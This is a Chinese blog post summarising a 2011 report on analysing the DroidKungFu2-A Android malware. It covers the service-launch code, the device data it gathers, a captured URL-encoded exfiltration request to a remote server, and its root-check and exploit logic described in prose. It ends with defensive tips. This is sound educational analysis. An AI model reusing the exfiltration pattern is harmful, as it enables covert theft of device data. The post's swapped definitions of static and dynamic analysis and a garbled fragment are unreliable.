热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Android恶意软件分析

研究报告《DissectingAndroMalware》2011年的作品,在tobe的鼓励下,把他读完了,说不上一对一的翻译,

研究报告《Dissecting Andro Malware》2011年的作品,在tobe的鼓励下,把他读完了,说不上一对一的翻译,把主要的大意摘录如下:

先说说恶意软件分析:

恶意软件分析其实是一个拆解它的过程,学习它的代码结构,操作,功能。通常以以下几点为目标:

理解漏洞如何被利用,系统受攻击的原因。

研究攻击的严重性以及防御措施

渗透到受攻击的数据,以便调查它的来源,获得更多其他受攻击机器的信息

取证调查员和系统工程师,通常利用逆向工程技术分析恶意软件,分析恶意软件的工作流程,执行了的操作,功能。由此来理解恶意软件对受害机器的文件,服务,代码和变量做了哪些增加或修改。这个分析通常有两种方法静态分析和动态分析,又叫行为分析和代码分析。

关于这个报告:

这个项目(指这篇报告)的目的就是理解Android恶意软件是如何工作的。这个项目会涉及到以下几个主要步骤:

创建独立的虚拟环境

静态分析

动态分析

总结每个分析的的发现和漏洞情况,编写统计结果报告

提出修复措施

这个项目还是一个逆向工程的参考材料,针对恶意软件用到的工具,方法论的一个参考。

转入正题:

静态分析,又称行为分析,通常分析和研究恶意软件的行为,研究恶意软件与所在环境如何交互,如何增加服务,篡改文件,截取数据,网络连接方式,端口打开情况等。把收集到的数据重新整合和映射到一起,以便进行全局的分析。

报告具体内容:

动态分析,又称为代码分析,也就是对恶意软件的代码进行分析,但是通常要对恶意软件的代码进行分析是非常困难,特别是要分析的通常是以编译过的二进制代码。所以需要反编译它为汇编代码,通过代码分析,逆向工程师从中提取内嵌的实际恶意代码。

恶意软件分析工具

实验环境工具--Virtual Box,VMware,Sandbox GFI

静态分析--Process Monitor,Wireshark,PEiD,TCPView,WinHex,Process Explorer,Winanalysis,Strings

动态分析--Ollydbg,IDA Pro,Dex2jar,JD-GUI,Baksmali,Apktool

恶意代码分析的目标终极目标当然是找出如何防范恶意软件的攻击了。这样就得回答两个问题,一个是,系统是怎样被攻击的,第二是恶意软件利用什么漏洞进行攻击。

(此处省略android系统架构性描述,android市场,android市场安全检测,一些目前已发现漏洞病毒,如CVExxx,都是些千篇一律的描述,没有翻译了。有兴趣的可以看原文,或者找对应的中文材料学习)

(此处在再次省略有关几个分析工具的简单介绍,包括VirtualBox的安装运行,android模拟器Emulator,反编译工具Apktool,监控工具wireshark,其他Dex2Jar,JD-GUI,这些都是必备工具,想必也不是靠一个报告三言两语说得清楚,具体用法个人觉得可以参考其他中文材料)

分析实例:

动态分析DroidKungFu2-A

首先,用7-zip解压恶意apk文件“droida.apk”,查看如下图所示:

包括了Android Manifest xml文件,classes.dex文件。恶意软件作者通常把自己的代码插入到原始代码中,以减少被怀疑的风险。他们修改了Android Manifest文件和其他apk中的文件后,用他们自己的key重新编译。下图显示了分析中发现修改过的Android Manifest文件。

当运行程序的时候,就会激活名为android.intent.action.MAIN的活动,而该获得会伴随激活com.enguan.state.Dialog活动,这个活动会触发两个服务,分别为com.eguan.state.StateService和com.eguan.state.Receiver。( android:name=”android.intent.action.MAIN” />就是apk最先启动的东西了。)为了弄清楚这些活动,就需要反编译apk文件了。这里就要用到Apktool工具了。下图显示使用Apktool进行反编译

反编译后如下图所示包含有Android Mainifest文件和dex文件。

通过分析文件中包含StateService的activity的代码,我们发现这段代码启动了一个名为com.eguan.state.StateService的服务。它创建了一个intent object的实例,创建了一个com.eguan.state.StateService类的对象,把这个对象传给constructor之后通过其启动了名为startService的服务。然而要更深入的分析就必须分析Java代码了。于是就利用Dex2Jar工具,把Dalvik可执行文件.dex转换为Java的.class文件。命令如下图所示:

转换后,把生成的jar文件导入JD-GUI工具中,就可以列出所有的包和它对应的java文件了从中查找启动服务的对应代码:

Intent intent = new Intent (this, com.eguan.state.StateService.class);
startService (intent);

由此com.eguan.state.Dialog Activity退出后,但是com.
eguan.state.StateService服务仍然在后台运行,最初的activity在已经在设备上运行,但是用户并没有察觉到可以的activity在后台运行。一旦该服务启动,恶意软件就在后台收集窃取信息,包括IMEI号码,手机模式,Android版本等,如下图所示:StateService的java代码分析

UpdateInfo()函数负责把收集以上信息,利用StringBuilder函数写入到本地的/data/data如下图所示:

这些数据随后会发送到一个远程的服务器上。利用wireshark抓包分析可看到源地址10.0.2.15(手机)发生到目标服务器58.63.244.72,如下所示:

通过分析抓包文件,如下图所示:





对以下经过URL加密的请求解码
o r r e t a i n s f

http://gw.youmi.net/reqad?aid=dd598637f9461413&da={%22w%22%3A320%2C%22dd%22%3A%22HTC%20Magic%22%2C%22dv%22%3A%22smc_voda_wwe%22%2C%22ts%22%3A%220%22%2C%22sv%22%3A%221.1%22%2C%22po%22%3A%22android%201.5%22%2C%22cid%22%3A%22162fbcbb180446ef5573b679baad3f30%22%2C%22h%22%3A480}&out=0&rt=2010-05-29%2012%3A25%3A31&src=3&ver=1.0&sig=ERMdekHHiUYznbRN%2BK5MJ49Oyvw%3D
可发现

包括了mobile model名称“HTC MAGIC”Android的版本1.5,IMEI号码,和其他参数。

漏洞利用代码分析

当activity运行的时候,Service就会启动,从而加载create()函数的代码,如下图所示:

而该函数里面有一个getPermission()的方法,检查是否有root访问权限。通过检查su是否在设备上安装来实现。如下图所示。

通过checkPermission检查设备是否已经越狱。

如果没有,就尝试访问一个叫secbino的本地文件,并从asset 目录复制漏洞利用代码,并改变其访问权限,如下图代码所示:

成功后就会执行漏洞利用代码,由oldrun函数负责执行越狱操作。如下图所示:

当越狱成功后,就可在用户不知情情况下下载更多的恶意软件了,并进行安装,删除等操作。

静态分析:

首先是通过virutotal.com多引擎杀毒网站扫描,显示53%的杀毒引擎都报告有毒。

之后,通过adb命令把该apk应用往android模拟器–AVD(Android Virtual Device)安装。命令如下图所示:

安装成功后,运行该程序。原始的activity会载入com.al len.txthej包,同时内嵌了恶意代码com.eguan.state包,运行效果如下图所示:

恶意activity,com.state.eguan.Dialog在后台运行,这时它还不需要root访问权限,而原始的com.allen.txthej activity也是启动起来的。如下图所示,原始服务和恶意activity同时运行:

由于程序是运行在Android SDK环境中,该环境没有提供root访问权限,因此不运行SDK被越狱,所以当程序尝试去root权限访问时就会抛出异常

(此处个人觉得原文的静态分析这部分也简单了一点…很多前面提到的静态分析工具,Process Monitor,Wireshark,PEiD,TCPView,WinHex,Process Explorer,Winanalysis,Strings都没看到发挥用场。另外也有个疑问,对于那张同时看到原始服务和恶意activity同时运行的图是怎么看到的,直接看设置无需借助工具?还是用了什么工具呢?)

分析总结:

DroidKungFu-2A这个恶意软件,会截取IMEI号码,手机模块名称,SDK版本,然后存储到一个本地文件,随后通过HTTP GET请求的方式把信息使用URL加密发送到远程服务器。恶意软件还会检查设备是否已经被越狱,如果没有就会尝试访问SU,并改变其权限,成功后就会下载更多的恶意软件包,实现远程安装和卸载程序包,修改浏览器主页等。

建议:

从可信源下载应用

在程序安装的时候,检查其许可要求

操作系统和软件都要更新到最新版本,安装必要的安全补丁

下载安装一个杀毒引擎并保持更新

检查正在浏览的网站,通过AD/Script拦截器保护免受恶意代码侵害

禁止自动运行特性,经常备份系统

启用防火墙

下载应用时,检查一下他的评分和评价情况

不要通过没有密码或不经过加密的wifi热点上网浏览敏感数据

警惕是否的警告,是否系统中出现了不正常的行为。

最后,本文需要用到的基础知识包括Android中activity的概念,Intent的概念,Android Manifest xml文件结构等等知识,所以这里所翻译的只是冰山一角,真正只能是抛砖引玉。而且后来找资料才发现原来这篇原文,多次出现在入门必看的list中,连诸葛博士也推荐了一把。建议还是看原文的好。



推荐阅读
  • Week04面向对象设计与继承学习总结及作业要求
    本文总结了Week04面向对象设计与继承的重要知识点,包括对象、类、封装性、静态属性、静态方法、重载、继承和多态等。同时,还介绍了私有构造函数在类外部无法被调用、static不能访问非静态属性以及该类实例可以共享类里的static属性等内容。此外,还提到了作业要求,包括讲述一个在网上商城购物或在班级博客进行学习的故事,并使用Markdown的加粗标记和语句块标记标注关键名词和动词。最后,还提到了参考资料中关于UML类图如何绘制的范例。 ... [详细]
  • Spring源码解密之默认标签的解析方式分析
    本文分析了Spring源码解密中默认标签的解析方式。通过对命名空间的判断,区分默认命名空间和自定义命名空间,并采用不同的解析方式。其中,bean标签的解析最为复杂和重要。 ... [详细]
  • 本文介绍了使用kotlin实现动画效果的方法,包括上下移动、放大缩小、旋转等功能。通过代码示例演示了如何使用ObjectAnimator和AnimatorSet来实现动画效果,并提供了实现抖动效果的代码。同时还介绍了如何使用translationY和translationX来实现上下和左右移动的效果。最后还提供了一个anim_small.xml文件的代码示例,可以用来实现放大缩小的效果。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • 本文讲述了如何通过代码在Android中更改Recycler视图项的背景颜色。通过在onBindViewHolder方法中设置条件判断,可以实现根据条件改变背景颜色的效果。同时,还介绍了如何修改底部边框颜色以及提供了RecyclerView Fragment layout.xml和项目布局文件的示例代码。 ... [详细]
  • 原文地址:https:www.cnblogs.combaoyipSpringBoot_YML.html1.在springboot中,有两种配置文件,一种 ... [详细]
  • C语言注释工具及快捷键,删除C语言注释工具的实现思路
    本文介绍了C语言中注释的两种方式以及注释的作用,提供了删除C语言注释的工具实现思路,并分享了C语言中注释的快捷键操作方法。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文介绍了在Linux下安装Perl的步骤,并提供了一个简单的Perl程序示例。同时,还展示了运行该程序的结果。 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • flowable工作流 流程变量_信也科技工作流平台的技术实践
    1背景随着公司业务发展及内部业务流程诉求的增长,目前信息化系统不能够很好满足期望,主要体现如下:目前OA流程引擎无法满足企业特定业务流程需求,且移动端体 ... [详细]
  • Android源码深入理解JNI技术的概述和应用
    本文介绍了Android源码中的JNI技术,包括概述和应用。JNI是Java Native Interface的缩写,是一种技术,可以实现Java程序调用Native语言写的函数,以及Native程序调用Java层的函数。在Android平台上,JNI充当了连接Java世界和Native世界的桥梁。本文通过分析Android源码中的相关文件和位置,深入探讨了JNI技术在Android开发中的重要性和应用场景。 ... [详细]
  • 突破MIUI14限制,自定义胶囊图标、大图标样式,支持任意APP
    本文介绍了如何突破MIUI14的限制,实现自定义胶囊图标和大图标样式,并支持任意APP。需要一定的动手能力和主题设计师账号权限或者会主题pojie。详细步骤包括应用包名获取、素材制作和封包获取等。 ... [详细]
  • iOS超签签名服务器搭建及其优劣势
    本文介绍了搭建iOS超签签名服务器的原因和优势,包括不掉签、用户可以直接安装不需要信任、体验好等。同时也提到了超签的劣势,即一个证书只能安装100个,成本较高。文章还详细介绍了超签的实现原理,包括用户请求服务器安装mobileconfig文件、服务器调用苹果接口添加udid等步骤。最后,还提到了生成mobileconfig文件和导出AppleWorldwideDeveloperRelationsCertificationAuthority证书的方法。 ... [详细]
  • Android工程师面试准备及设计模式使用场景
    本文介绍了Android工程师面试准备的经验,包括面试流程和重点准备内容。同时,还介绍了建造者模式的使用场景,以及在Android开发中的具体应用。 ... [详细]
author-avatar
手机用户2702935897
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有